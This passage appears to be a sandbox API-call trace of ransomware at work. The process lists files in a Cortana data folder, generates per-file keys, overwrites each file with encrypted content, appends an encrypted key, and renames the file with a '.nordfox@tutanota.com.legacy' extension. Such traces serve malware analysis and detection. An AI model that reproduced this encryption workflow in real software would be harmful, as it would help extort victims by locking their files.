lpMem=0x2f798f8 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67f58 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d53d0 | out: hHeap=0x520000) returned 1 [0181.570] GetLastError () returned 0x0 [0181.570] GetLastError () returned 0x0 [0181.570] GetLastError () returned 0x0 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0181.570] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1211e300, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24d1109, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1211e300, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x5758c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="appsglobals.txt", cAlternateFileName="APPSGL~1.TXT")) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79320 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67210 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6af0 | out: hHeap=0x520000) returned 1 [0181.570] GetLastError () returned 0x0 [0181.570] GetLastError () returned 0x0 [0181.570] GetLastError () returned 0x0 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62b48 | out: hHeap=0x520000) returned 1 [0181.571] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2ed200, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1f2ed200, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x13d5b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="appssynonyms.txt", cAlternateFileName="APPSSY~1.TXT")) returned 1 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f793a8 | out: hHeap=0x520000) returned 1 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67b70 | out: hHeap=0x520000) returned 1 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5748 | out: hHeap=0x520000) returned 1 [0181.571] GetLastError () returned 0x0 [0181.571] GetLastError () returned 0x0 [0181.571] GetLastError () returned 0x0 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0181.571] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79320 | out: hHeap=0x520000) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f679e0 | out: hHeap=0x520000) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5620 | out: hHeap=0x520000) returned 1 [0181.572] GetLastError () returned 0x0 [0181.572] GetLastError () returned 0x0 [0181.572] GetLastError () returned 0x0 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.572] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9bdd500, ftCreationTime.dwHighDateTime=0x1d196ec, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd9bdd500, ftLastWriteTime.dwHighDateTime=0x1d196ec, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.csg", cAlternateFileName="")) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ee0 | out: hHeap=0x520000) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67468 | out: hHeap=0x520000) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d69c8 | out: hHeap=0x520000) returned 1 [0181.572] GetLastError () returned 0x0 [0181.572] GetLastError () returned 0x0 [0181.572] GetLastError () returned 0x0 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.572] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.schema", cAlternateFileName="SETTIN~1.SCH")) returned 1 [0181.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78f68 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67850 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5f60 | out: hHeap=0x520000) returned 1 [0181.573] GetLastError () returned 0x0 [0181.573] GetLastError () returned 0x0 [0181.573] GetLastError () returned 0x0 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.573] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0x7b5e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settingsconversions.txt", cAlternateFileName="SETTIN~2.TXT")) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78908 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66fb8 | out: hHeap=0x520000) returned 1 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6d40 | out: hHeap=0x520000) returned 1 [0181.573] GetLastError () returned 0x0 [0181.573] GetLastError () returned 0x0 [0181.573] GetLastError () returned 0x0 [0181.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0181.574] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13431000, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x13431000, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x9e1f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settingsglobals.txt", cAlternateFileName="SETTIN~1.TXT")) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f796d8 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67c38 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d68a0 | out: hHeap=0x520000) returned 1 [0181.574] GetLastError () returned 0x0 [0181.574] GetLastError () returned 0x0 [0181.574] GetLastError () returned 0x0 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0181.574] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3241a200, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3241a200, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x12b16, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settingssynonyms.txt", cAlternateFileName="SETTIN~3.TXT")) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f794b8 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f679e0 | out: hHeap=0x520000) returned 1 [0181.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6650 | out: hHeap=0x520000) returned 1 [0181.574] GetLastError () returned 0x0 [0181.574] GetLastError () returned 0x0 [0181.574] GetLastError () returned 0x0 [0181.575] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0181.575] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3241a200, ftCreationTime.dwHighDateTime=0x1d196ee, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3241a200, ftLastWriteTime.dwHighDateTime=0x1d196ee, nFileSizeHigh=0x0, nFileSizeLow=0x12b16, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settingssynonyms.txt", cAlternateFileName="SETTIN~3.TXT")) returned 0 [0181.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.575] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt", dwFileAttributes=0x80) returned 1 [0181.575] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d88 | out: hHeap=0x520000) returned 1 [0181.575] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.576] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76566) returned 1 [0181.576] ReadFile (in: hFile=0x1b04, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x12b16, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x12b16, lpOverlapped=0x0) returned 1 [0181.588] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-76566, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.588] WriteFile (in: hFile=0x1b04, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x12b16, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12b16, lpOverlapped=0x0) returned 1 [0181.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dd050 | out: hHeap=0x520000) returned 1 [0181.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ee3010 | out: hHeap=0x520000) returned 1 [0181.588] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12b16 [0181.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.588] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.588] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.589] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.589] CloseHandle (hObject=0x1b04) returned 1 [0181.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0181.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0181.589] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingssynonyms.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4488 | out: hHeap=0x520000) returned 1 [0181.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7950 | out: hHeap=0x520000) returned 1 [0181.591] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0181.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.591] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.591] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt", dwFileAttributes=0x80) returned 1 [0181.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0181.593] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.593] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=40479) returned 1 [0181.594] ReadFile (in: hFile=0x1b04, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x9e1f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x9e1f, lpOverlapped=0x0) returned 1 [0181.604] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-40479, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.604] WriteFile (in: hFile=0x1b04, lpBuffer=0x30e0e60*, nNumberOfBytesToWrite=0x9e1f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9e1f, lpOverlapped=0x0) returned 1 [0181.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d7038 | out: hHeap=0x520000) returned 1 [0181.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e0e60 | out: hHeap=0x520000) returned 1 [0181.605] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9e1f [0181.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.605] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.605] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.605] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.605] CloseHandle (hObject=0x1b04) returned 1 [0181.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0181.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0181.606] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsglobals.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4038 | out: hHeap=0x520000) returned 1 [0181.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8058 | out: hHeap=0x520000) returned 1 [0181.608] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8490 | out: hHeap=0x520000) returned 1 [0181.608] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.608] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0181.608] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt", dwFileAttributes=0x80) returned 1 [0181.612] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8490 | out: hHeap=0x520000) returned 1 [0181.612] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.613] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=31582) returned 1 [0181.613] ReadFile (in: hFile=0x1b04, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x7b5e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x7b5e, lpOverlapped=0x0) returned 1 [0181.627] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-31582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.627] WriteFile (in: hFile=0x1b04, lpBuffer=0x30deba0*, nNumberOfBytesToWrite=0x7b5e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30deba0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7b5e, lpOverlapped=0x0) returned 1 [0181.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d7038 | out: hHeap=0x520000) returned 1 [0181.628] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30deba0 | out: hHeap=0x520000) returned 1 [0181.628] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7b5e [0181.628] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.628] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.628] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.628] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.628] CloseHandle (hObject=0x1b04) returned 1 [0181.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0181.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0181.629] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\settingsconversions.txt" (normalized: 